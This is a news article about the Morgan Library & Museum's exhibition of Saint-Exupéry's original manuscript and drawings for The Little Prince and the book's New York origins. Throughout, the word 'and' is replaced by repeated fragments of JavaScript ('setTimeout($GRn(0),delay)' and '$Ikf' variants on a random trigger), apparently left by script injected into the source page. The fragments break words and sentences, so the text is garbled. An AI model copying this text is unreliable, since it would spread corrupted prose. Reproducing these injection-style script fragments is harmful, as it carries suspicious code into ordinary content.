NEW YORK CITY — Since its publication 70 years ago, Antoine de Saint-Exupéry’s The Little Prince has captivated millions of readers throughout the world. This French tale of an interstellar traveler who comes to Earth in search of friendship andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and understandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anding was written andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and first published in New York City, during the two years the author spent there at the height of the Second World War.
“The Little Prince: A New York Story,” a major exhibition at the Morgan Library & Museum in view January 24–April 27, will feature Saint-Exupéry’s original watercolors andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and heavily revised working manuscript. Focusing on the story’s American origins, it is the first exhibition to explore in depth the creative decisions Saint-Exupéry made as he crafted what would become one of the best-selling books of all time — now translated into more than 250 languages.
The heart of the exhibition is the display of the author’s working manuscript andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and drawings, which were acquired by the Morgan in 1968. Also on view will be rare printed editions from the Morgan’s collection as well as personal letters, photographs andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and artifacts on loan from the Saint-Exupéry estate, private collections andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and museums andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and libraries in France andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the United States.
“The Little Prince has had a profound impact on generations of children andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and adults alike,” said William M. Griswold, director of the Morgan. “This exhibition allows us to step back to the moment of creation andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and witness Saint-Exupéry at work right here in New York. One discovers the author-aviator struggling with the enormity of events impacting his native France andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the world at large, while finding the focus to complete a tale as magical today as it was 70 years ago.”
Like many of his compatriots, Saint-Exupéry came to the United States after France fell to Germany in 1940. He worked on The Little Prince at various spots around the city, including the Park Avenue apartment of his friend Silvia Hamilton (later Reinhardt), using her black poodle as a model for the sheep andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a mop top doll for the title character.
On view in the exhibition will be a manuscript page in which Saint-Exupéry made explicit mention of Manhattan, Long Islandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and even Rockefeller Center — references that he ultimately deleted from the story.
Saint-Exupéry’s time in America was fraught with personal anxiety, physical ailments andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, above all, the weight of war. Because he left the city hastily to return to war, the author inscribed only a handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andful of copies of The Little Prince to friends. Exhibited for the first time will be the book he gave to Hamilton’s 12-year-old son, one of the first young people to hear the story. The book will be open to the inscription: “For Stephen, to whom I have already spoken about the The Little Prince, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and who perhaps will be his friend.” It is the only copy that Saint-Exupéry is known to have presented to a child.
Saint-Exupéry did not live to see his work appear in his native France, where it was published only after the war; he died while piloting a lone reconnaissance flight in 1944, just weeks before the liberation of Paris. The exhibition includes a moving artifact — the silver identity bracelet that Saint-Exupéry was wearing when his plane went down in 1944 that was recovered near Marseille in 1998.
Some of the drawings depict familiar images from the book: the little prince in the desert, the king alone on his planet, the little prince lying beside a garden after discovering that his rose is not unique in the universe. Others were excluded from the published book, such as a view of the pilot asleep on the sandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and after his plane has crashed a thousandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and miles from any living soul. A haunting, unpublished drawing of the little prince wearing his yellow scarf andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and floating above Earth was clearly wadded up into a ball only to be rescued from the garbage can, flattened andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and retained.
Also on display will be a deleted passage underscoring the centrality of the drawings to the book. The narrator, discouraged from an artistic career by grown-ups who thought he should focus instead on math andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and geography, explains: “I’ve never told the grown-ups that I’m not from their world. I’ve hidden the fact that I’ve always been five or six years old at heart. And therefore I have hidden my drawings from them. But I love to show them to my friends. These drawings are my memories.”
The Morgan Library andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Museum is at 225 Madison Avenue at 36th Street. For more information, 212-685-0008 or www.themorgan.org.